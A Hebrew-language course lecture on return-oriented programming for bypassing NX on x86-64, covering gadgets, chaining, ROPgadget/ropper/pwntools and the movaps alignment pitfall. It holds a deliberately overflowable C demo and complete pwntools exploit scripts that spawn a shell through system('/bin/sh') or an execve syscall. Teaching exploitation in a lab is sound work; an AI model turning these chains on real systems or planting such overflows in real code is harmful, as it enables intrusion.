4.3 ROP וגאדג'טים הרצאה
בשיעור 2.3 כבר טעמנו את הגאדג'ט הראשון שלנו, pop rdi ; ret, כשרצינו להעביר ארגומנט לפונקציה מנצחת ב-64 ביט. בשיעור 4.2 השתמשנו ברעיון הזה כדי לבנות ret2libc קלאסי וקראנו ל-system מתוך libc. עכשיו נעצור, ניקח נשימה, ונבין את הרעיון הכללי שמאחורי כל זה לעומק. הטכניקה נקראת תכנות מונחה חזרה, והיא הכלי המרכזי לעקיפת NX: במקום להזריק קוד חדש (שממילא לא נוכל להריץ כי המחסנית מסומנת ללא הרצה), אנחנו מרכיבים את התוכנית שלנו מחתיכות קוד שכבר קיימות בבינארי ובספריות. בשיעור הזה נבין מה זה גאדג'ט ברמת הבתים, איך שרשור גאדג'טים בונה כל חישוב שנרצה, איך מוצאים גאדג'טים עם הכלים המקצועיים, ואיך מרכיבים chain שפותחת shell.
תכנות מונחה חזרה - ROP - הרעיון הגדול¶
מנגנון ה-NX (נקרא גם DEP) מסמן את המחסנית ואת ה-heap כאזורים שאסור להריץ מהם קוד. בעבר תוקף היה כותב shellcode ישר על המחסנית וקופץ אליו, אבל עם NX המעבד פשוט מסרב. הקוד היחיד שכן מותר להריץ הוא הקוד שכבר קיים בבינארי (מקטע .text) ובספריות המשותפות. אז מה עושים? במקום קוד חדש, משתמשים בקוד ישן.
תכנות מונחה חזרה, או בקיצור ROP, הוא הרעיון הבא: נזהה בבינארי רצפים קצרים של הוראות שמסתיימים ב-ret, נקרא לכל רצף כזה "גאדג'ט", ונשרשר אותם יחד באמצעות המחסנית. כל ret שולף כתובת מראש המחסנית וקופץ אליה, ולכן אם נסדר על המחסנית סדרה של כתובות גאדג'טים, כל גאדג'ט "ימסור את השרביט" לגאדג'ט הבא. התוצאה: הרצנו רצף פעולות שבחרנו, בלי לכתוב אפילו בית אחד של קוד חדש.
בואו נחדד את האנלוגיה. בתוכנית רגילה, rip (מצביע ההוראות) קובע איזו הוראה רצה עכשיו, ואחרי כל הוראה הוא מתקדם להוראה הבאה. ב-ROP, המחסנית היא זו שקובעת מה רץ עכשיו: rsp הוא ה"מצביע הוראות" האמיתי, וכל ret הוא ה"מנוע" שמקדם אותו לפריט הבא. הchain שאנחנו כותבים על המחסנית היא למעשה התוכנית שלנו.
מה זה גאדג'ט - gadget¶
גאדג'ט הוא רצף קצר של הוראות אסמבלי, בדרך כלל הוראה אחת עד שלוש, שמסתיים ב-ret. ה-ret הוא החלק הקריטי: הוא זה שמאפשר לשרשר. דוגמאות קלאסיות:
הגאדג'ט הזה שולף 8 בתים מראש המחסנית לתוך rdi, ואז ה-ret קופץ לכתובת הבאה שעל המחסנית. גאדג'ט אחר:
וגאדג'ט קצת יותר מעניין, שכותב לזיכרון:
הנקודה החשובה: גאדג'ט הוא לא פונקציה ולא משהו שהמתכנת המקורי התכוון אליו. הוא סתם קטע קוד שבמקרה מסתיים ב-ret. יתר על כן, בארכיטקטורת x86-64 ההוראות הן באורך משתנה, וזה פותח פתח לגאדג'טים "לא מכוונים" - unintended gadgets. הנה איך זה עובד: נניח שיש בבינארי את רצף הבתים הבא, שהמהדר התכוון שיהיה הוראה מסוימת:
אבל אם נקפוץ באמצע, לכתובת 0x4011a2, המעבד יפרש את הבתים c0 3b 00 אחרת לגמרי - אולי כהוראה חוקית שמסתיימת ב-ret. הבית c3 (שהוא הקוד של ret) מופיע בעשרות מקומות אקראיים בתוך הבינארי, וכל אחד מהם הוא סוף פוטנציאלי של גאדג'ט. לכן אפילו בבינארי קטן יש מאות ואלפי גאדג'טים. הכלים שנכיר עוד מעט סורקים את כל הבתים ומגלים את כולם, כולל הלא מכוונים.
שרשור גאדג'טים - איך בונים חישוב¶
בואו נראה בעיניים איך chain עובדת. נניח שאנחנו שולטים במחסנית (בזכות buffer overflow), ובנינו את המחסנית המזויפת הבאה:
low addresses (top of stack)
+----------------------------+
| address: pop rdi ; ret | <-- the ret of the vulnerable function jumps here
+----------------------------+
| 0x1337 | <-- popped into rdi
+----------------------------+
| address: pop rsi ; ret |
+----------------------------+
| 0x0 | <-- popped into rsi
+----------------------------+
| address: some_function | <-- called with rdi=0x1337, rsi=0
+----------------------------+
high addresses
הזרימה, צעד אחרי צעד:
- הפונקציה הvulnerable מבצעת
ret. היא שולפת את הכתובת שלpop rdi ; retוקופצת אליה. - הגאדג'ט מבצע
pop rdiושולף את0x1337לתוךrdi. עכשיוrspמצביע על הפריט הבא. - ה-
retשל הגאדג'ט שולף את הכתובת שלpop rsi ; retוקופץ אליה. - הגאדג'ט מבצע
pop rsiושולף את0x0לתוךrsi. - ה-
retשולף את הכתובת שלsome_functionוקופץ אליה, כשכברrdi=0x1337ו-rsi=0.
שימו לב לתובנה המרכזית: כל פעם ש-ret רץ, הוא "צורך" פריט אחד מהמחסנית ומעביר את השליטה קדימה. פריטים שהם כתובות גאדג'טים הם ה"הוראות" שלנו, ופריטים שהם ערכים הם ה"נתונים" ש-pop שולף. אנחנו מתכנתים ישירות על המחסנית.
וזה מוביל לנקודה עמוקה: ROP הוא טיורינג-שלם. עם הסט הנכון של גאדג'טים אפשר לבנות כל חישוב: להכניס ערכים לאוגרים (pop reg), לכתוב לזיכרון (mov [reg], reg), לקרוא מזיכרון, לחבר ולחסר (add, sub), אפילו להסתעף בתנאי. בפועל, לרוב לא נבנה מחשבון שלם - נבנה בדיוק את מה שצריך כדי לקרוא לפונקציה שתיתן לנו shell. אבל חשוב להבין שהכוח שם.
קטלוג הגאדג'טים השימושיים¶
בשלב הזה כדאי להכיר את סוגי הגאדג'טים שתחפשו שוב ושוב. הטבלה מסכמת את הנפוצים ואת מה שהם נותנים:
| הגאדג'ט | מה הוא עושה | למה צריך אותו |
|---|---|---|
pop rdi ; ret |
טוען ערך מהמחסנית ל-rdi |
ארגומנט ראשון לפונקציה ב-64 ביט |
pop rsi ; ret |
טוען ערך ל-rsi |
ארגומנט שני (לרוב מופיע כ-pop rsi ; pop r15 ; ret) |
pop rdx ; ret |
טוען ערך ל-rdx |
ארגומנט שלישי (למשל אורך ב-read) |
pop rax ; ret |
טוען ערך ל-rax |
מספר ה-syscall, או ערך לכתיבה |
mov [rdi], rax ; ret |
כותב את rax לכתובת שב-rdi |
כתיבה שרירותית לזיכרון - write-what-where |
syscall ; ret |
מבצע קריאת מערכת | לקרוא ל-execve ישירות בלי libc |
leave ; ret |
mov rsp, rbp ; pop rbp |
היפוך מחסנית - stack pivot (פרק 6) |
xchg rax, rdi ; ret |
מחליף בין אוגרים | גישור כשאין pop ישיר לאוגר שצריך |
ret |
לא עושה כלום, רק מקדם את rsp ב-8 |
alignment מחסנית ל-16 בתים |
הגאדג'ט האחרון, ret בודד, נראה חסר תועלת אבל הוא כוכב חשוב - נחזור אליו בסעיף הalignment.
העברת ארגומנטים ב-64 ביט - תזכורת ממוקדת¶
כבר עשינו את זה ב-2.3, אבל נחזק כי זה הלב של הכל. קונבנציית הקריאה של System V ב-64 ביט מעבירה את ששת הארגומנטים הראשונים באוגרים, בסדר הזה:
argument 1 -> rdi
argument 2 -> rsi
argument 3 -> rdx
argument 4 -> rcx
argument 5 -> r8
argument 6 -> r9
כדי לקרוא ל-func(a, b, c) אנחנו צריכים ש-rdi=a, rsi=b, rdx=c ברגע הקפיצה ל-func. אנחנו שולטים במחסנית ולא באוגרים, ולכן משתמשים בגאדג'טים pop rdi ; ret, pop rsi ; ... ; ret, pop rdx ; ret כדי לטעון כל אוגר בתורו. זו בדיוק הסיבה שאנחנו רודפים אחרי גאדג'טים כאלה. ב-32 ביט, לשם ההשוואה, הארגומנטים עוברים על המחסנית ולכן שם כמעט לא צריך גאדג'טים לקריאה בודדת - מספיק לסדר [func] [return address] [arg1] [arg2], כמו שראינו ב-2.3.
מציאת גאדג'טים - הכלים¶
יש שלושה כלים מרכזיים שתשתמשו בהם. הראשון, ROPgadget, סורק את הבינארי ומדפיס את כל הגאדג'טים:
# all gadgets
ROPgadget --binary rop_demo
# search for a specific gadget
ROPgadget --binary rop_demo | grep 'pop rdi ; ret'
# 0x0000000000401256 : pop rdi ; ret
# filter by instruction types
ROPgadget --binary rop_demo --only 'pop|ret'
# search for a string in the binary (very useful for /bin/sh)
ROPgadget --binary rop_demo --string '/bin/sh'
# 0x00402008 : /bin/sh
# attempt to auto-build an execve chain (works well for static binaries)
ROPgadget --binary rop_demo --ropchain
הכלי השני, ropper, דומה אבל עם חיפוש חכם יותר שמבין תבניות:
# search with exact syntax
ropper --file rop_demo --search "pop rdi; ret"
# pattern with a wildcard - % is "anything"
ropper --file rop_demo --search "pop rdi; %"
ropper --file rop_demo --search "mov [%], %"
# search for a string
ropper --file rop_demo --string "/bin/sh"
בפועל, ROPgadget ו-ropper משלימים זה את זה, ולפעמים גאדג'ט שאחד לא מראה יפה, השני כן. שווה להכיר את שניהם.
הכלי השלישי, והכי נוח בזרימת עבודה אמיתית, הוא אובייקט ה-ROP של pwntools. הוא לא רק מוצא גאדג'טים, הוא בונה את הchain בשבילכם:
from pwn import *
context.binary = elf = ELF('./rop_demo')
rop = ROP(elf)
# find a gadget by description
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.info('pop rdi ; ret @ %#x', pop_rdi)
# or simply ask "load this value into a register" and pwntools finds the gadget itself
rop.rdi = 0x1337
# or call a function with arguments
rop.call('puts', [elf.got['puts']])
# print the chain in readable form
print(rop.dump())
# and get the bytes ready to send
payload = rop.chain()
ה-rop.dump() הוא חבר קרוב: הוא מדפיס לכם בדיוק איזה גאדג'ט בכל סלוט ומה הערך שנטען, וזה חוסך שעות של דיבוג.
הבינארי לדוגמה¶
לאורך השיעור נעבוד עם הבינארי הבא. שימו לב שהוא כולל קריאה ל-system ומחרוזת /bin/sh, כדי שגם ה-system@plt וגם המחרוזת יהיו קיימים בתוך הבינארי בכתובות קבועות:
// rop_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// this call ensures system gets into the PLT and that the string /bin/sh is in the binary.
// it is not called in the normal flow.
void never_called() {
system("/bin/sh");
}
void vuln() {
char buf[64];
puts("send payload:");
read(0, buf, 256); // overflow: 256 bytes into a 64-byte buffer
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
נקמפל אותו ל-64 ביט, בלי canary ובלי PIE, כדי לבודד את טכניקת ה-ROP:
ונבדוק את ההגנות:
הנחות ההגנה שלנו: NX פעיל (זו הסיבה שאנחנו עושים ROP במקום shellcode), אין canary (הoverflow עוברת חופשי), ואין PIE (כתובות הקוד, ה-PLT והמחרוזת קבועות בכל הרצה). מכיוון שהכל בchain שלנו יגיע מתוך הבינארי, ret2libc על libc אמיתי עם ASLR פעיל הוא סיפור של השיעור הבא (4.4). כאן אנחנו נשארים בתוך הבינארי, ולכן ASLR של המערכת לא מפריע לנו - ה-ASLR מערבב את libc, המחסנית וה-heap, אבל לא את הקוד של בינארי לא-PIE.
בניית chain ל-system מתוך הבינארי - ידני¶
המטרה: לקרוא ל-system("/bin/sh"). ב-64 ביט זה אומר ש-rdi צריך להצביע על המחרוזת "/bin/sh" ברגע הקפיצה ל-system. שני רכיבים נדרשים:
- כתובת הגאדג'ט
pop rdi ; retכדי לטעון את המצביע ל-rdi. - כתובת המחרוזת
"/bin/sh"וכתובתsystem@plt.
נמצא הכל:
$ ROPgadget --binary rop_demo | grep 'pop rdi ; ret'
0x0000000000401256 : pop rdi ; ret
$ ROPgadget --binary rop_demo --string '/bin/sh'
0x0000000000402008 : /bin/sh
$ objdump -d rop_demo | grep '<system@plt>:'
0000000000401060 <system@plt>:
עכשיו נסדר את הchain. שימו לב לגאדג'ט ret הבודד בהתחלה - הוא לalignment המחסנית, ומיד נסביר למה:
low addresses (top of stack)
+----------------------------+
| padding - 72 bytes | <-- fills buf and saved rbp
+----------------------------+
| ret (alignment to 16 bytes)| <-- the ret of vuln jumps here
+----------------------------+
| pop rdi ; ret |
+----------------------------+
| 0x402008 (address of /bin/sh) | <-- popped into rdi
+----------------------------+
| system@plt (0x401060) | <-- called with rdi -> "/bin/sh"
+----------------------------+
high addresses
והקוד:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_demo')
pop_rdi = 0x401256
ret = 0x40101a # single ret gadget for alignment
binsh = 0x402008
system = elf.plt['system'] # 0x401060
offset = 72
payload = flat({offset: [
ret, # aligns the stack to 16 bytes
pop_rdi,
binsh, # rdi = address of "/bin/sh"
system, # calls system("/bin/sh")
]})
p = process('./rop_demo')
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
מריצים, ומקבלים shell. שימו לב שלא צריך לחשב כתובות libc, לא צריך לדלוף כלום, ואין תלות ב-ASLR - הכל בכתובות קבועות בתוך הבינארי.
אותו דבר עם אובייקט ROP - הדרך המקצועית¶
בפועל לא כותבים כתובות גאדג'ט ביד. נותנים ל-ROP לחפש הכל. שימו לב כמה זה נקי:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_demo')
binsh = next(elf.search(b'/bin/sh\x00')) # finds the string in the binary
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0]) # aligns the stack to 16 bytes
rop.call('system', [binsh]) # pwntools finds pop rdi on its own
log.info('\n' + rop.dump())
offset = 72
payload = flat({offset: rop.chain()})
p = process('./rop_demo')
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
הפונקציה elf.search(b'/bin/sh\x00') סורקת את כל מקטעי הבינארי ומחזירה את הכתובת של המחרוזת. ה-rop.call('system', [binsh]) אומר ל-pwntools "קרא ל-system עם הארגומנט הזה", והוא כבר מוצא את pop rdi ; ret, סודר את הערכים, ומוסיף את הקריאה. ה-rop.dump() יראה לכם בדיוק מה נבנה:
0x0000: 0x40101a ret
0x0008: 0x401256 pop rdi ; ret
0x0010: 0x402008 [arg0] rdi = 4202504
0x0018: 0x401060 system
מלכודת הalignment - movaps ותיקון עם ret נוסף¶
זו המלכודת שמפילה כמעט את כולם, וכבר פגשנו אותה ב-2.3, אבל היא כל כך נפוצה שכדאי לחזק. אתם בונים chain מושלמת, rdi מצביע נכון על "/bin/sh", קופצים ל-system, והתוכנית קורסת עם SIGSEGV עמוק בתוך libc, בלי סיבה נראית לעין.
הסיבה: ה-ABI של System V מחייב שברגע ביצוע הוראת call, מצביע המחסנית rsp יהיה aligned ל-16 בתים, כלומר rsp % 16 == 0. פונקציות libc מותאמות כמו system (דרך do_system) משתמשות בהוראות SSE כמו movaps שדורשות כתובת aligned ל-16. אנחנו לא מגיעים ל-system דרך call אלא דרך chain של ret, וכל ret מזיז את rsp ב-8 בתים. לעיתים קרובות אנחנו נופלים על rsp % 16 == 8 במקום 0, וזה מספיק כדי לפוצץ את ה-movaps.
הקריסה ב-gdb נראית כך, ומיד מזהים אותה:
Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
ברגע שאתם רואים movaps בכתובת של libc בזמן שקראתם ל-system, זה הalignment, אין ספק. התיקון אלגנטי: מוסיפים גאדג'ט ret בודד לפני הקריאה שמפוצצת. גאדג'ט ה-ret לא עושה כלום מלבד לשלוף 8 בתים ולקפוץ הלאה, כלומר הוא מזיז את rsp ב-8 בתים בדיוק, והופך rsp % 16 == 8 ל-rsp % 16 == 0. זה בדיוק ה-ret שראיתם בראש כל chain בשיעור הזה. כלל אצבע: אם ב-64 ביט קריאה ל-system או ל-printf קורסת ב-movaps, תוסיפו גאדג'ט ret בודד לפני הקריאה ונסו שוב. אם עדיין קורס, אולי יש לכם ret מיותר - תורידו אחד.
מעבר לחישוב שרירותי - כתיבה לזיכרון וsyscall¶
עד כאן קראנו לפונקציה קיימת. אבל אמרנו ש-ROP הוא טיורינג-שלם, אז בואו נראה איך בונים משהו יותר גולמי: קריאה ישירה ל-execve("/bin/sh", 0, 0) דרך syscall, בלי להסתמך על system בכלל. זה שימושי במיוחד בבינארי סטטי, שבו יש גאדג'ט syscall וגאדג'ט pop rax, אבל אין system.
קריאת המערכת execve דורשת: rax=59 (מספר ה-syscall), rdi מצביע על "/bin/sh", rsi=0, rdx=0, ואז הוראת syscall. אם המחרוזת "/bin/sh" כבר קיימת בבינארי, הchain פשוטה:
rop = ROP(elf)
rop.rax = 59 # execve syscall number
rop.rdi = binsh # pointer to "/bin/sh"
rop.rsi = 0
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
אבל מה אם אין בבינארי את המחרוזת "/bin/sh" בכלל? כאן נכנס ה-write-what-where. נשתמש בגאדג'ט כתיבה כדי לשתול את המחרוזת באזור זיכרון שאנחנו יודעים את כתובתו וגם ניתן לכתיבה, למשל .bss (בבינארי לא-PIE הכתובת קבועה). התהליך:
1. pop rax ; ret -> rax = u64("/bin/sh\0") the value of the 8 bytes
2. pop rdi ; ret -> rdi = address in .bss
3. mov [rdi], rax ; ret -> writes "/bin/sh\0" to .bss
4. now .bss holds the string, and we continue as before to execve
ובקוד, כשמניחים שמצאנו את הגאדג'טים ואת כתובת ה-.bss:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_demo')
pop_rdi = 0x401256
pop_rax = 0x4011c0 # example - find it in your binary
pop_rsi = 0x401258
pop_rdx = 0x4011c3
mov_rdi_rax = 0x401180 # mov [rdi], rax ; ret
syscall_ret = 0x4011f0
bss = elf.bss(0x100) # free address in .bss
offset = 72
payload = flat({offset: [
# 1. write "/bin/sh\0" to .bss
pop_rax, u64(b'/bin/sh\x00'),
pop_rdi, bss,
mov_rdi_rax,
# 2. prepare execve's arguments
pop_rdi, bss, # rdi -> "/bin/sh"
pop_rsi, 0, # rsi = 0
pop_rdx, 0, # rdx = 0
pop_rax, 59, # rax = execve
# 3. jump to the syscall
syscall_ret,
]})
p = process('./rop_demo')
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
זו ההדגמה החיה של "חישוב שרירותי": לקחנו נתון (מחרוזת), כתבנו אותו לזיכרון בעזרת גאדג'ט כתיבה, טענו אוגרים בעזרת גאדג'טים של pop, וקראנו לשירות מערכת. אף בית קוד חדש לא הורץ. בפועל, בבינארי דינמי קטן לרוב אין pop rax ו-syscall נוחים, ולכן נעדיף system או גאדג'טים מתוך libc (השיעורים הבאים). אבל התבנית הזו היא הבסיס לכל ROP מתקדם, ותראו אותה שוב ב-ret2csu וב-SROP בפרק 6.
מלכודות נפוצות וטיפים¶
- ראשית, בדקו תמיד את ה-offset מחדש עם
cyclicלכל בינארי. גודל הbuffer וpadding הalignment של המהדר משנים אותו. - שיטת הקלט קובעת אילו בתים מותרים. הפונקציה
readקוראת בתים גולמיים כולל\x00, אז כתובות עם בתים אפסיים בסדר. לעומת זאתgetsו-scanf("%s")עוצרים ב-null וברווח, ואז כתובת כמו0x401256(שמכילה בתים אפסיים עליונים ב-64 ביט) עלולה להיחתך. - כשמשהו קורס, הריצו תחת gdb עם
gdb.attach(p)אוgdb ./rop_demoואזrun < payload.bin, ותסתכלו על מצב האוגרים ב-ret. השתמשו ב-rop.dump()כדי לוודא שהchain נבנתה כמו שחשבתם. - אם חסר לכם גאדג'ט לאוגר מסוים, חפשו דרך עקיפה:
pop rcx ; retפלוסmov rdx, rcx ; ret, או השתמשו ב-ret2csu(פרק 6) שנותן שליטה ב-rdi,rsi,rdxדרך גאדג'ט אוניברסלי שקיים כמעט בכל בינארי מקומפל עם gcc. - זכרו את הalignment: כמעט תמיד כשקריאה ל-
system/printfקורסת בתוך libc, זו בעיית ה-movaps. גאדג'טretאחד פותר.
סיכום¶
- תכנות מונחה חזרה (ROP) עוקף NX על ידי שרשור קטעי קוד קיימים במקום הזרקת קוד חדש.
- גאדג'ט הוא רצף קצר של הוראות שמסתיים ב-
ret. בזכות ההוראות באורך משתנה ב-x86-64, יש גם גאדג'טים לא מכוונים, ולכן אפילו בבינארי קטן יש אלפי גאדג'טים. - הROP chain היא "תוכנית" שכתובה על המחסנית:
rspהוא מצביע ההוראות, וכלretמקדם אותו לפריט הבא. עם הסט הנכון של גאדג'טים אפשר לבנות כל חישוב. - ב-64 ביט טוענים ארגומנטים לאוגרים עם גאדג'טים כמו
pop rdi ; ret,pop rsi ; ret,pop rdx ; ret. - מוצאים גאדג'טים עם
ROPgadget,ropper, ואובייקט ה-ROPשלpwntoolsשגם בונה את הchain ומדפיס אותה עםrop.dump(). - הchain ל-
system("/bin/sh")בתוך בינארי לא-PIE היא[ret לalignment] [pop rdi] [כתובת /bin/sh] [system@plt], והכל בכתובות קבועות. - מלכודת ה-
movaps: קריאה לפונקציית libc כבדה קורסת אםrspלא aligned ל-16 בתים. גאדג'טretבודד לפני הקריאה פותר. - לחישוב שרירותי אמיתי משתמשים בגאדג'טים של כתיבה (
mov [rdi], rax) ובגאדג'טsyscallכדי לקרוא ל-execveישירות.